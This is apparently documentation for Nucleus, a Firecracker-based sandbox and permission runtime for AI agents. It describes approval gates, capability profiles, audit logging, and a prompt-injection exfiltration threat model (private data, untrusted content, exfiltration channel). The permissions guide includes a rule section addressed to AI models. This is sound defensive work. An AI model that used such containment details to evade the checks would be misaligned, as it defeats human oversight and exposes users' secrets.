Dev Adoption

• A team gets value in < 10 minutes
• pip install nucleus + nucleus audit produces:
  • a clear pass/fail in CI
  • a minimal safe profile suggestion
  • an MCP allowlist snippet
• nucleus observe generates a first-pass policy from 30 minutes of agent observation

Security

• “No direct agent calls except via proxy” is enforceable and demonstrable
• Traces are replayable and tamper-evident enough for incident review
• A red-team attempt produces a PolicyDenied or an approval request — not a leak

Formal Methods

• Public “Verified Claims” matrix:
  • Claim → Proof artifact → Code hash
• CI fails if a change violates the proven model
• Proof count (Kani harnesses + Lean theorems) is monotonically non-decreasing (ratchet)

Performance

• Tier 2 cold start: <500ms with pre-warmed pools
• Policy evaluation overhead: <1ms per decision
• Exposure tracking overhead: negligible (3-bool join)

Iteration Plan

PR-sized increments that ship value while converging on the moonshot:

The North Star Sentence

Nucleus is a runtime that makes it impossible for an agent to do something dangerous unless you explicitly gave it the power — and that boundary is small enough to prove.

Others sandbox the agent. Nucleus proves the sandbox holds.

Why Rust

Rust is the only language that satisfies all four requirements simultaneously:

1. Near-C performance — zero-cost abstractions, no GC, deterministic latency inside Firecracker microVMs
2. Modern type system — algebraic data types, pattern matching, traits, async/await, package ecosystem
3. Formal verification — Verus (SMT-based, SOSP 2025 Best Paper), Aeneas (Rust → Lean 4), Kani (bounded model checking), hax (Rust → F*)
4. Safety certification — Ferrocene qualified at ISO 26262 ASIL-D, IEC 61508 SIL 4, IEC 62304 Class C

Precedents

• AWS Nitro Isolation Engine — formally verified Rust hypervisor (Verus + Isabelle/HOL). Deployed at AWS scale on Graviton5.
• Atmosphere microkernel (SOSP 2025 Best Paper) — L4-class microkernel verified with Verus. 7.5:1 proof-to-code ratio.
• AWS Cedar — formally verified authorization engine. Rust + Lean + differential testing. 1B auth/sec. Our architectural template.
• libcrux — formally verified post-quantum crypto in Rust via hax → F*. Shipping in Firefox.
• AutoVerus (OOPSLA 2025) — LLM agents auto-generate Verus proofs. 137/150 tasks proven, >90% automation rate.

References

• Verus: Verified Rust for Systems Code
• Atmosphere: SOSP 2025 Best Paper
• AutoVerus: OOPSLA 2025
• AWS Nitro Isolation Engine
• AWS Cedar Formal Verification
• Aeneas: Rust → Lean 4
• Ferrocene Qualified Rust Compiler
• libcrux: Verified Crypto via hax
• Systems Security Foundations for Agentic Computing
• AgentSpec: ICSE 2026
• Agent Behavioral Contracts

Local Testing Quickstart

Test Nucleus permission enforcement locally without Kubernetes or Firecracker.

Prerequisites

• Rust toolchain (1.75+)
• curl and jq for testing

1. Build the Tool Proxy

cargo build -p nucleus-tool-proxy --release

2. Start the Tool Proxy

./target/release/nucleus-tool-proxy \
  --spec examples/openclaw-demo/pod.yaml \
  --listen 127.0.0.1:8080 \
  --auth-secret demo-secret \
  --approval-secret approval-secret \
  --audit-log /tmp/nucleus-demo-audit.log

The demo profile includes the uninhabitable state (read + web + bash), so all bash commands require approval.

3. Test Permission Enforcement

Create a helper function for signed requests:

nucleus_call() {
  local ENDPOINT=$1
  local BODY=$2
  local TIMESTAMP=$(date +%s)
  local ACTOR="test"
  local MESSAGE="${TIMESTAMP}.${ACTOR}.${BODY}"
  local SIGNATURE=$(echo -n "${MESSAGE}" | openssl dgst -sha256 -hmac "demo-secret" | awk '{print $2}')

  curl -s -X POST "http://127.0.0.1:8080/v1/${ENDPOINT}" \
    -H "Content-Type: application/json" \
    -H "X-Nucleus-Timestamp: ${TIMESTAMP}" \
    -H "X-Nucleus-Actor: ${ACTOR}" \
    -H "X-Nucleus-Signature: ${SIGNATURE}" \
    -d "${BODY}"
}

Test Cases

Read allowed file (should succeed):

nucleus_call "read" '{"path":"README.md"}' | jq -r '.contents[:100]'
# Output: # Nucleus...

Read sensitive file (should be blocked):

nucleus_call "read" '{"path":".env"}' | jq '.error'
# Output: "nucleus error: access denied: path '.env' blocked by policy"

Run git status (requires approval due to uninhabitable state):

nucleus_call "run" '{"command":"git status"}' | jq '.'
# Output: {"error":"nucleus error: approval required...","kind":"approval_required"}

Run bash -c (blocked by command policy + uninhabitable state):

nucleus_call "run" '{"command":"bash -c \"echo hi\""}' | jq '.kind'
# Output: "approval_required"

4. Verify Audit Log

cat /tmp/nucleus-demo-audit.log | jq '{event, subject, result}'

Each entry includes:

• Hash-chained integrity (prev_hash, hash)
• HMAC signature (signature)
• Actor tracking

Expected Results

Why Uninhabitable state Triggers

The demo profile has:

• read_files: Always (private data access)
• web_fetch: LowRisk (untrusted content)
• run_bash: LowRisk (exfiltration vector)

All three legs of the “uninhabitable state” are present, so Nucleus automatically requires approval for exfiltration operations (run_bash, git_push, create_pr).

This protects against prompt injection attacks that could steal secrets via web content.

Test with Network-Isolated Profile

For testing without uninhabitable state protection, use the codegen profile which has no web access:

# codegen-pod.yaml
apiVersion: nucleus/v1
kind: Pod
metadata:
  name: codegen-test
spec:
  work_dir: .
  timeout_seconds: 3600
  policy:
    type: profile
    name: codegen

./target/release/nucleus-tool-proxy \
  --spec codegen-pod.yaml \
  --listen 127.0.0.1:8080 \
  --auth-secret demo-secret \
  --approval-secret approval-secret \
  --audit-log /tmp/codegen-audit.log

With codegen, bash commands will succeed without approval (no uninhabitable state because web_fetch: Never).

Next Steps

• Kubernetes Quickstart - Production deployment
• Permission Profiles - All available profiles
• OpenClaw Integration - Full OpenClaw adapter setup

macOS Quickstart (Tier 2 — real microVM isolation)

One command takes an Apple Silicon Mac from nothing to a booted nucleus pod:

curl -fsSL https://raw.githubusercontent.com/coproduct-opensource/nucleus/main/scripts/install.sh | bash

or, if you already have the nucleus binary:

nucleus setup

Verified against the published release, 2026-07-30. From limactl delete nucleus, the one-liner resolved v2.1.0 from /releases/latest, installed that CLI, provisioned the VM and booted a real pod on Apple Silicon: tier 2 spiffe-identity, an allowed operation served from inside the sandbox, a forbidden one refused with kind=kernel_denied, and no PID-1 panic.

v2.1.0 is the first release whose rootfs carries a CA bundle — everything up to 2.0.2 panics as PID 1, and GUEST_RELEASE_FLOOR refuses to install those. Earlier revisions of this page told you to build from a clone instead, because at the time no published release could boot a pod.

Measured 2026-07-29: 48.7 s from limactl delete nucleus to a booted, identity-proving pod, with gh attestation verify passing on every downloaded artifact. --artifacts local uses this working tree’s build instead.

If your Mac has installed nucleus before, setup pauses once at “Setting up secrets” on a macOS Keychain dialog and waits until you answer it — a changed binary is not on the existing items’ ACL. See Troubleshooting.

Requirements, stated plainly

There is no emulation fallback, and earlier versions of this page were wrong to imply one. Firecracker is a KVM-based VMM. Nested virtualisation on Apple Silicon requires M3+ on macOS 15+; without it the Lima guest has no /dev/kvm, and Firecracker does not run slowly — it does not run. The same applies to Intel Macs, where QEMU’s HVF accelerator virtualises the guest but cannot expose KVM inside it.

On hardware that cannot do Tier 2, nucleus setup still configures Tier 0/1 and says so; nucleus verify --tier2 then fails, which is the truth rather than a warning you can mistake for a caveat about speed.

nucleus doctor reads /dev/kvm directly rather than inferring from the chip name. If the probe says available, Tier 2 works, whatever else the output guesses.

What nucleus setup does

1. Creates a Lima VM from scripts/lima/nucleus-<arch>.yaml (Ubuntu 24.04, vz, nested virtualisation on).
2. Installs, into that VM, from digests pinned in nucleus_spec::tier2_artifacts and nucleus_spec::vmm_version: Firecracker + jailer, the guest kernel (SHA-256 verified against a constant compiled into the binary), the nucleus rootfs, nucleus-node, and the Linux nucleus CLI.
3. Generates three HMAC secrets in the macOS Keychain and writes them to a root-owned 0600 /etc/nucleus/node.env in the VM, along with a systemd unit that reads it.
4. Boots a real pod and verifies it (below).

The VM template names no artifact versions or URLs. Those live in one place in the code, so the template cannot drift from what the node enforces — which is how the published template came to pin a kernel URL that returns HTTP 404.

Keychain prompt. The first run of a new or rebuilt nucleus binary makes macOS ask permission to read the secrets it stored. Setup waits at that dialog. It prints a line before touching the Keychain so a pause there is explicable.

The proof: nucleus verify --tier2

$ nucleus verify --tier2

Tier 2 verification: booting a real nucleus pod
================================================
  [OK] /dev/kvm
  [OK] /dev/vhost-vsock
  [OK] firecracker
  [OK] guest kernel
  [OK] nucleus rootfs
  [OK] nucleus-node + secrets
  [OK] nucleus-node is answering on http://127.0.0.1:8080
  [OK] pod created in 7620 ms, tool-proxy at http://127.0.0.1:42149
  [OK] guest proved itself to its proxy: tier 2 (spiffe-identity)
  [OK] allowed operation served from the guest sandbox
       glob "*" -> {"matches":["audit"]}
  [OK] forbidden operation denied by policy (kind=kernel_denied)
  [OK] SPIFFE identity fetched
  [OK] task token fetched over vsock
  [OK] no PID-1 panic
  [OK] Firecracker is running under a seccomp filter

Measured on Apple M5 Pro / macOS 26.6 / Lima 2.2.0 / Firecracker 1.16.1, 2026-07-29.

Each line is there because it has failed:

This runs inside the Lima VM: the per-pod tool-proxy binds an ephemeral port on the VM’s loopback, which the workstation has no route to. nucleus setup installs the Linux CLI there for that reason.

Why not nucleus run?

nucleus run in enforced mode spawns a specific vendor’s assistant CLI. Making the quickstart’s proof depend on a vendor binary would break this project’s vendor-neutrality rule and fail on any machine without it. verify --tier2 drives the tool-proxy directly — the same enforcement path, no vendor in it.

Where guest artifacts come from

nucleus setup --artifacts <auto|local|release>:

• auto (default) — use this working tree’s build output if it is complete, otherwise the pinned release.
• local — require the working tree’s build (scripts/firecracker/build-rootfs.sh plus musl builds of nucleus-node, nucleus-cli).
• release — require the pinned release.

Releases at or below 2.0.2 cannot boot: their rootfs contains no CA bundle anywhere, and on such a rootfs the tool-proxy’s drand client fails and, as PID 1, takes the guest kernel with it. tier2_artifacts::GUEST_RELEASE_FLOOR refuses them rather than installing a pod that cannot start.

The pinned release is 2.1.0, the first build carrying the CA bundle, the ip netns exec separator fix and the workload-API socket chown. Each downloaded asset is checked against the release API digest and, when gh is on PATH, against its Sigstore build provenance — the output says which of the two happened rather than implying both.

Troubleshooting

Diagnose with:

nucleus doctor                                   # are the components installed?
nucleus verify --tier2                           # does a pod actually boot?
limactl shell nucleus -- sudo journalctl -u nucleus-node -n 50

nucleus doctor checks components inside the VM, which is where they are used, and exits non-zero when one is missing. It previously checked the workstation’s own directories and graded every miss a warning, so it printed “All checks passed” in the same minute nucleus start exited 1.

Architecture

macOS host
└── Lima VM (Apple Virtualization.framework, nestedVirtualization: true)
    ├── /dev/kvm
    ├── nucleus-node ──── workload API (SVIDs, task tokens) over vsock
    └── Firecracker microVM (jailed, seccomp filter active)
        └── /init (guest-init) → nucleus-tool-proxy
                                 enforces the permission lattice

Two isolation layers: macOS↔Lima (Apple vz) and Lima↔pod (KVM + jailer + seccomp + a default-deny network namespace).

Commands

Kubernetes Quickstart

Deploy Firecracker-isolated AI agent sandboxes on Kubernetes with fine-grained permission control.

Why Nucleus on Kubernetes?

Nucleus provides hardware-level isolation with a mathematical permission model that automatically detects dangerous capability combinations (the “uninhabitable state”).

Prerequisites

• Kubernetes cluster with Linux nodes (kernel 5.10+)
• Nodes with /dev/kvm access (nested virt or bare metal)
• kubectl configured

Architecture

┌─────────────────────────────────────────────────────────────┐
│                    Kubernetes Cluster                        │
├─────────────────────────────────────────────────────────────┤
│  ┌─────────────────┐  ┌─────────────────┐                   │
│  │  nucleus-node   │  │  nucleus-node   │  (DaemonSet)      │
│  │  ┌───────────┐  │  │  ┌───────────┐  │                   │
│  │  │Firecracker│  │  │  │Firecracker│  │                   │
│  │  │  microVM  │  │  │  │  microVM  │  │                   │
│  │  │┌─────────┐│  │  │  │┌─────────┐│  │                   │
│  │  ││tool-    ││  │  │  ││tool-    ││  │                   │
│  │  ││proxy    ││  │  │  ││proxy    ││  │                   │
│  │  │└─────────┘│  │  │  │└─────────┘│  │                   │
│  │  └───────────┘  │  │  └───────────┘  │                   │
│  └─────────────────┘  └─────────────────┘                   │
│           │                    │                             │
│           └────────┬───────────┘                             │
│                    ▼                                         │
│  ┌─────────────────────────────────────┐                    │
│  │         nucleus-controller          │  (Deployment)      │
│  │  - Watches NucleusSandbox CRDs      │                    │
│  │  - Schedules pods to nodes          │                    │
│  │  - Enforces permission lattice      │                    │
│  └─────────────────────────────────────┘                    │
└─────────────────────────────────────────────────────────────┘

Quick Deploy

1. Create Namespace

kubectl create namespace nucleus-system

2. Deploy nucleus-node DaemonSet

# nucleus-node-daemonset.yaml
apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: nucleus-node
  namespace: nucleus-system
spec:
  selector:
    matchLabels:
      app: nucleus-node
  template:
    metadata:
      labels:
        app: nucleus-node
    spec:
      hostPID: true
      hostNetwork: true
      containers:
      - name: nucleus-node
        image: ghcr.io/coproduct-opensource/nucleus-node:latest
        securityContext:
          privileged: true  # Required for Firecracker + KVM
        env:
        - name: NUCLEUS_NODE_LISTEN
          value: "0.0.0.0:8080"
        - name: NUCLEUS_NODE_DRIVER
          value: "firecracker"
        - name: NUCLEUS_NODE_FIRECRACKER_NETNS
          value: "true"
        volumeMounts:
        - name: dev-kvm
          mountPath: /dev/kvm
        - name: pods
          mountPath: /var/lib/nucleus/pods
        ports:
        - containerPort: 8080
          hostPort: 8080
      volumes:
      - name: dev-kvm
        hostPath:
          path: /dev/kvm
      - name: pods
        hostPath:
          path: /var/lib/nucleus/pods
          type: DirectoryOrCreate
      nodeSelector:
        nucleus.io/kvm: "true"

# Label nodes with KVM support
kubectl label nodes <node-name> nucleus.io/kvm=true

# Deploy
kubectl apply -f nucleus-node-daemonset.yaml

3. Create a Sandbox

# sandbox.yaml
apiVersion: v1
kind: ConfigMap
metadata:
  name: agent-sandbox-spec
  namespace: nucleus-system
data:
  pod.yaml: |
    apiVersion: nucleus.io/v1
    kind: PodSpec
    metadata:
      name: code-review-agent
    spec:
      profile: code-review
      work_dir: /workspace
      timeout_seconds: 3600

      # Permission overrides
      capabilities:
        read_files: always
        write_files: never
        edit_files: never
        run_bash: never
        web_search: low_risk
        web_fetch: never
        git_commit: never
        git_push: never
        create_pr: never

      # Network policy
      network:
        dns_allow:
          - "api.anthropic.com:443"
          - "api.openai.com:443"

4. Launch Agent via API

# Port-forward to nucleus-node
kubectl port-forward -n nucleus-system daemonset/nucleus-node 8080:8080 &

# Create sandbox
curl -X POST http://localhost:8080/v1/pods \
  -H "Content-Type: application/yaml" \
  -d @sandbox.yaml

Permission Profiles

Nucleus includes built-in profiles for common agent patterns:

Uninhabitable state Protection

When an agent has all three dangerous capabilities:

1. Private data access (read_files ≥ low_risk)
2. Untrusted content (web_fetch OR web_search ≥ low_risk)
3. Exfiltration channel (git_push OR create_pr OR run_bash ≥ low_risk)

Nucleus automatically requires human approval for exfiltration actions. This protects against prompt injection attacks that could steal secrets.

Agent requests: git push origin main
┌─────────────────────────────────────────┐
│  ⚠️  uninhabitable state PROTECTION TRIGGERED      │
│                                         │
│  This agent has:                        │
│  ✓ Read access to files                 │
│  ✓ Web access (prompt injection risk)   │
│  ✓ Git push capability                  │
│                                         │
│  Approve this operation? [y/N]          │
└─────────────────────────────────────────┘

Comparison with Agent Sandbox

Security Model

Google Agent Sandbox uses gVisor, which intercepts syscalls in userspace:

App → Sentry (Go) → Host Kernel
         ↓
    Filters ~300 syscalls

Nucleus uses Firecracker with full hardware virtualization:

App → Guest Kernel → Firecracker VMM → KVM → Host Kernel
                          ↓
                   ~50K lines Rust
                   Minimal device model

When to Choose Nucleus

Choose Nucleus when you need:

• Hardware isolation: Defense against kernel exploits
• Permission governance: Fine-grained capability control beyond RBAC
• Compliance: SOC2, HIPAA, NIST frameworks requiring VM-level isolation
• Prompt injection defense: Automatic uninhabitable state detection

Choose Agent Sandbox when you need:

• Faster iteration: Lighter weight for development
• GKE integration: Native warm pools and pod snapshots
• Higher density: More sandboxes per node

Roadmap: Native CRDs

We’re working on native Kubernetes CRDs to match Agent Sandbox ergonomics:

# Coming soon
apiVersion: nucleus.io/v1
kind: NucleusSandbox
metadata:
  name: my-agent
spec:
  profile: fix-issue
  workDir: /workspace
  image: python:3.12-slim

  # Lattice-guard permissions
  permissions:
    capabilities:
      read_files: always
      run_bash: low_risk
    paths:
      allowed: ["/workspace/**"]
      blocked: ["**/.env", "**/*.pem"]
    budget:
      max_cost_usd: 5.00
---
apiVersion: nucleus.io/v1
kind: NucleusSandboxClaim
metadata:
  name: agent-session
spec:
  templateRef: my-agent
  ttl: 1h

Track progress: GitHub Issues

Next Steps

• Permission Model Deep Dive
• Threat Model
• Enterprise Use Cases

Agent Sandbox Integration

Run AI agent sandboxes on Kubernetes using Agent Sandbox with Firecracker isolation via Kata Containers.

Overview

Agent Sandbox is a CNCF/Kubernetes SIG Apps project that provides Kubernetes-native primitives for running AI agents in isolated environments. It supports pluggable runtimes via the standard runtimeClassName field.

This guide covers two paths:

Comparison: Agent Sandbox vs Nucleus

Use Agent Sandbox + kata-fc when you need:

• Standard Kubernetes CRD workflow
• Firecracker isolation without custom controllers
• Compatibility with existing k8s tooling (Argo CD, Flux)

Use Nucleus directly when you need:

• Fine-grained permission policies (portcullis)
• Automatic uninhabitable state detection (prompt injection defense)
• Lower memory footprint and faster startup

Local Testing: gVisor on kind (Intel Mac / No KVM)

This path validates the Agent Sandbox workflow without requiring KVM. Useful for development on Intel Macs or any system without nested virtualization.

Prerequisites

• Docker Desktop running
• kubectl configured
• kind installed (brew install kind)

Step 1: Download gVisor Binaries

# Create directory for gVisor binaries
mkdir -p /tmp/gvisor

# Download runsc (gVisor runtime)
curl -sL https://storage.googleapis.com/gvisor/releases/release/latest/x86_64/runsc \
  -o /tmp/gvisor/runsc
chmod +x /tmp/gvisor/runsc

# Download containerd shim
curl -sL https://storage.googleapis.com/gvisor/releases/release/latest/x86_64/containerd-shim-runsc-v1 \
  -o /tmp/gvisor/containerd-shim-runsc-v1
chmod +x /tmp/gvisor/containerd-shim-runsc-v1

Step 2: Create kind Cluster

# Create kind config
cat > /tmp/kind-gvisor.yaml << 'EOF'
kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
nodes:
- role: control-plane
  extraMounts:
  - hostPath: /tmp/gvisor
    containerPath: /opt/gvisor
EOF

# Create cluster
kind create cluster --name agent-sandbox-test --config /tmp/kind-gvisor.yaml

Step 3: Install gVisor in kind Node

# Copy binaries into the kind node
docker cp /tmp/gvisor/runsc agent-sandbox-test-control-plane:/usr/local/bin/runsc
docker cp /tmp/gvisor/containerd-shim-runsc-v1 agent-sandbox-test-control-plane:/usr/local/bin/containerd-shim-runsc-v1

# Configure containerd to use gVisor
docker exec agent-sandbox-test-control-plane bash -c '
cat >> /etc/containerd/config.toml << EOF

[plugins."io.containerd.grpc.v1.cri".containerd.runtimes.runsc]
  runtime_type = "io.containerd.runsc.v1"
EOF
'

# Restart containerd
docker exec agent-sandbox-test-control-plane systemctl restart containerd

# Create RuntimeClass
kubectl apply -f - << 'EOF'
apiVersion: node.k8s.io/v1
kind: RuntimeClass
metadata:
  name: gvisor
handler: runsc
EOF

Step 4: Install Agent Sandbox

# Install Agent Sandbox CRDs and controller
kubectl apply -f https://github.com/kubernetes-sigs/agent-sandbox/releases/download/v0.1.0/manifest.yaml

# Wait for controller to be ready
kubectl wait --for=condition=Ready pod -l app=agent-sandbox-controller \
  -n agent-sandbox-system --timeout=120s

Step 5: Create Test Sandbox

kubectl apply -f - << 'EOF'
apiVersion: agents.x-k8s.io/v1alpha1
kind: Sandbox
metadata:
  name: gvisor-test
spec:
  podTemplate:
    spec:
      runtimeClassName: gvisor
      containers:
      - name: agent
        image: busybox:latest
        command: ["sleep", "infinity"]
EOF

# Watch for Ready status
kubectl wait --for=condition=Ready sandbox/gvisor-test --timeout=60s

Step 6: Verify gVisor Isolation

# Confirm runtimeClassName
kubectl get pod gvisor-test -o jsonpath='{.spec.runtimeClassName}'
# Output: gvisor

# Verify gVisor kernel (look for "Starting gVisor...")
kubectl exec gvisor-test -- dmesg | head -5
# Output:
# [   0.000000] Starting gVisor...
# [   0.533579] Gathering forks...
# ...

Cleanup

kubectl delete sandbox gvisor-test
kind delete cluster --name agent-sandbox-test

Cloud Testing: Firecracker on KVM Cluster

This path provides hardware VM isolation using Firecracker via Kata Containers.

Prerequisites

• Kubernetes cluster with KVM-enabled nodes (bare metal or nested virt)
  • GKE: Use n2-standard-* with nested virtualization enabled
  • EKS: Use metal instances (m5.metal, c5.metal)
  • On-prem: Nodes with /dev/kvm accessible
• kubectl configured
• Helm 3.x installed

Step 1: Label KVM-Capable Nodes

# Identify nodes with KVM support
for node in $(kubectl get nodes -o name); do
  if kubectl debug $node -it --image=busybox -- test -c /dev/kvm 2>/dev/null; then
    echo "$node has KVM"
    kubectl label $node katacontainers.io/kata-runtime=true --overwrite
  fi
done

Step 2: Install Kata Containers with Firecracker

# Add Kata Containers Helm repo
helm repo add kata-containers https://kata-containers.github.io/kata-containers
helm repo update

# Install Kata with Firecracker hypervisor
helm install kata-fc kata-containers/kata-deploy \
  --namespace kata-system --create-namespace \
  --set hypervisor=fc \
  --set runtimeClasses[0].name=kata-fc \
  --set runtimeClasses[0].handler=kata-fc

# Wait for DaemonSet rollout
kubectl rollout status daemonset/kata-deploy -n kata-system --timeout=300s

# Verify RuntimeClass exists
kubectl get runtimeclass kata-fc

Step 3: Install Agent Sandbox

# Install Agent Sandbox CRDs and controller
kubectl apply -f https://github.com/kubernetes-sigs/agent-sandbox/releases/download/v0.1.0/manifest.yaml

# Wait for controller
kubectl wait --for=condition=Ready pod -l app=agent-sandbox-controller \
  -n agent-sandbox-system --timeout=120s

Step 4: Create Firecracker-Isolated Sandbox

kubectl apply -f - << 'EOF'
apiVersion: agents.x-k8s.io/v1alpha1
kind: Sandbox
metadata:
  name: firecracker-test
spec:
  podTemplate:
    spec:
      runtimeClassName: kata-fc
      containers:
      - name: agent
        image: python:3.12-slim
        command: ["sleep", "infinity"]
        resources:
          requests:
            memory: "256Mi"
            cpu: "100m"
          limits:
            memory: "512Mi"
            cpu: "500m"
EOF

# Wait for Ready
kubectl wait --for=condition=Ready sandbox/firecracker-test --timeout=120s

Step 5: Verify Firecracker Isolation

# Confirm kata-fc runtime
kubectl get pod firecracker-test -o jsonpath='{.spec.runtimeClassName}'
# Output: kata-fc

# Check for VM indicators in /proc/cpuinfo
kubectl exec firecracker-test -- cat /proc/cpuinfo | grep -E "(model name|hypervisor)"
# Should show hypervisor or QEMU-style CPU

# Verify Firecracker process on host (from node)
NODE=$(kubectl get pod firecracker-test -o jsonpath='{.spec.nodeName}')
kubectl debug node/$NODE -it --image=busybox -- ps aux | grep firecracker

Agent Sandbox CRD Reference

Sandbox

The core resource for creating isolated agent environments.

apiVersion: agents.x-k8s.io/v1alpha1
kind: Sandbox
metadata:
  name: my-agent
spec:
  # Standard PodSpec template
  podTemplate:
    spec:
      runtimeClassName: kata-fc  # or gvisor
      containers:
      - name: agent
        image: my-agent:latest
        command: ["python", "agent.py"]
        env:
        - name: OPENAI_API_KEY
          valueFrom:
            secretKeyRef:
              name: agent-secrets
              key: openai-key
        resources:
          requests:
            memory: "512Mi"
            cpu: "250m"
          limits:
            memory: "2Gi"
            cpu: "2"

  # Persistent storage (survives restarts)
  volumeClaimTemplates:
  - metadata:
      name: workspace
    spec:
      accessModes: ["ReadWriteOnce"]
      resources:
        requests:
          storage: 10Gi

  # Lifecycle management
  shutdownPolicy: Delete  # or Retain

SandboxTemplate (Extensions)

Reusable templates for common agent configurations.

# Install extensions
kubectl apply -f https://github.com/kubernetes-sigs/agent-sandbox/releases/download/v0.1.0/extensions.yaml

apiVersion: agents.x-k8s.io/v1alpha1
kind: SandboxTemplate
metadata:
  name: python-agent
spec:
  podTemplate:
    spec:
      runtimeClassName: kata-fc
      containers:
      - name: agent
        image: python:3.12-slim
        resources:
          requests:
            memory: "512Mi"
          limits:
            memory: "2Gi"

SandboxClaim

Request a sandbox from a template.

apiVersion: agents.x-k8s.io/v1alpha1
kind: SandboxClaim
metadata:
  name: my-session
spec:
  templateRef:
    name: python-agent
  ttl: 1h

Troubleshooting

Pod stuck in ContainerCreating

gVisor: Check for missing shim binary.

kubectl describe pod <pod-name> | grep -A5 Events
# Look for: "containerd-shim-runsc-v1": file does not exist

Fix: Ensure both runsc and containerd-shim-runsc-v1 are in /usr/local/bin/.

kata-fc: Check for KVM access.

kubectl debug node/<node> -it --image=busybox -- ls -la /dev/kvm
# Should show: crw-rw---- 1 root kvm 10, 232 ...

Sandbox stuck in Pending

Check if the controller is running:

kubectl get pods -n agent-sandbox-system
kubectl logs -n agent-sandbox-system -l app=agent-sandbox-controller

RuntimeClass not found

Verify the RuntimeClass exists:

kubectl get runtimeclass

For gVisor, create manually:

kubectl apply -f - << 'EOF'
apiVersion: node.k8s.io/v1
kind: RuntimeClass
metadata:
  name: gvisor
handler: runsc
EOF

Next Steps

• Kubernetes Quickstart - Deploy Nucleus directly on Kubernetes
• Permission Model - Understanding portcullis policies
• Threat Model - Security analysis

References

• Agent Sandbox GitHub
• gVisor Documentation
• Kata Containers
• Firecracker

Nucleus Permissions Guide

TL;DR for AI Assistants

You have a permission profile. Check it before acting.

- "Never" = blocked, don't try
- "LowRisk" = allowed for safe operations
- "Always" = always allowed

If you have read_files + web access + git push all enabled,
exfiltration actions (git push, create PR, bash) require human approval.
This is the "uninhabitable state protection" - it prevents prompt injection attacks
from stealing secrets.

Paths: both spellings name the same file

A path you give the sandbox is interpreted against the sandbox root. Two spellings are accepted and mean the same file:

read  { "path": "hello.txt" }        # relative to the root
read  { "path": "/work/hello.txt" }  # absolute, under the root

An absolute path that is not under the root is refused as a sandbox escape, including one that traverses out through it (/work/../etc/passwd). Stripping the root does not widen what is reachable: what survives is fed through exactly the checks a relative path already faced, and cap-std’s directory handle refuses .. and symlinks out at the point of I/O.

/work is the conventional root, not a constant. It is whatever the pod spec’s work_dir says. Do not hardcode /work-stripping in an integration — send the path the agent produced and let the sandbox interpret it, or the integration breaks silently the day a spec sets work_dir to anything else.

Before #2787 the absolute spelling was refused outright, with a message claiming the path “resolves outside sandbox root” — which was untrue, because the root was never consulted. Both spellings work now; the refusal text is only used when the root really was consulted and the path really was outside it.

The Problem: Uninhabitable State

When an AI agent has all three of these capabilities at autonomous levels:

…a single prompt injection can exfiltrate your SSH keys, API tokens, or source code.

Nucleus automatically detects this combination and requires human approval for exfiltration actions.

Permission Levels

Each tool capability has one of three levels:

Never     →  Blocked entirely
    ↓
LowRisk   →  Auto-approved for safe operations
    ↓
Always    →  Always auto-approved

Example

capabilities:
  read_files: always      # Can always read files
  write_files: low_risk   # Can write to safe locations
  run_bash: never         # Cannot run shell commands
  web_fetch: low_risk     # Can fetch approved URLs
  git_push: low_risk      # Can push (but may need approval)

Built-in Profiles

filesystem-readonly

Read-only with sensitive paths blocked.

read_files: always    web_search: never     git_push: never
write_files: never    web_fetch: never      create_pr: never
edit_files: never     git_commit: never     run_bash: never

read-only

Safe for exploration. No writes, no network, no git.

read_files: always    web_search: never     git_push: never
write_files: never    web_fetch: never      create_pr: never
edit_files: never     git_commit: never

network-only

Web-only access, no filesystem or execution.

read_files: never     web_search: low_risk  git_push: never
write_files: never    web_fetch: low_risk   create_pr: never
edit_files: never     git_commit: never     run_bash: never

web-research

Read + web search/fetch, no writes or exec.

read_files: low_risk  web_search: low_risk  git_push: never
write_files: never    web_fetch: low_risk   create_pr: never
edit_files: never     git_commit: never     run_bash: never

code-review

Read code, search web for context, but no modifications.

read_files: always    web_search: low_risk  git_push: never
write_files: never    web_fetch: never      create_pr: never
edit_files: never     git_commit: never

edit-only

Write + edit without shell or web.

read_files: always    web_search: never     git_push: never
write_files: low_risk web_fetch: never      create_pr: never
edit_files: low_risk  git_commit: never     run_bash: never

local-dev

Local development workflow without web access.

read_files: always    web_search: never     git_push: never
write_files: low_risk web_fetch: never      create_pr: never
edit_files: low_risk  git_commit: low_risk  run_bash: low_risk

fix-issue

Full development workflow with uninhabitable state protection.

read_files: always    web_search: low_risk  git_push: low_risk*
write_files: low_risk web_fetch: low_risk   create_pr: low_risk*
edit_files: low_risk  git_commit: low_risk
run_bash: low_risk

* Requires approval due to uninhabitable state detection

release

Release/publish workflow with approvals on exfiltration.

read_files: always    web_search: low_risk  git_push: low_risk*
write_files: low_risk web_fetch: low_risk   create_pr: low_risk*
edit_files: low_risk  git_commit: low_risk  run_bash: low_risk

* Requires approval

database-client

Database CLI access only (psql/mysql/redis).

read_files: never     web_search: never     git_push: never
write_files: never    web_fetch: never      create_pr: never
edit_files: never     git_commit: never     run_bash: low_risk

demo

For live demos - blocks shell interpreters.

read_files: always    web_search: low_risk  git_push: low_risk
write_files: low_risk web_fetch: low_risk   create_pr: low_risk
edit_files: low_risk  git_commit: low_risk
run_bash: low_risk    (blocked: python, node, bash, etc.)

Workflow Profiles (Orchestrated Agents)

These profiles are designed for multi-agent workflows where different agents have specialized roles. They’re optimized for security through architectural constraints.

pr-review (alias: pr_review)

For automated PR review agents. Read-only + web access, no exfiltration.

read_files: always    web_search: low_risk  git_push: never
write_files: never    web_fetch: low_risk   create_pr: never
edit_files: never     git_commit: never     run_bash: never

** Uninhabitable state status**: NOT vulnerable (no exfiltration capability)

Use case: Review PRs, post comments via GitHub API, analyze diffs. Note: run_bash is disabled because it’s an exfil vector when combined with web access.

codegen

For isolated code generation agents. Full dev capabilities, NO network access.

read_files: always    web_search: never     git_push: never
write_files: low_risk web_fetch: never      create_pr: never
edit_files: low_risk  git_commit: low_risk  run_bash: low_risk

** Uninhabitable state status**: NOT vulnerable (no untrusted content exposure)

Use case: Implement features in a Firecracker microVM, run tests, commit locally. Network isolation prevents prompt injection attacks from web content.

pr-approve (alias: pr_approve)

For automated PR approval agents. Can merge PRs after CI verification.

read_files: always    web_search: low_risk  git_push: low_risk*
write_files: never    web_fetch: low_risk   create_pr: never
edit_files: never     git_commit: never     run_bash: low_risk*

* Requires approval (uninhabitable state-gated)

** Uninhabitable state status**: VULNERABLE → git_push and run_bash require approval

Use case: Verify CI status via GitHub API, then merge approved PRs. The uninhabitable state protection means git_push is gated on human/CI approval.

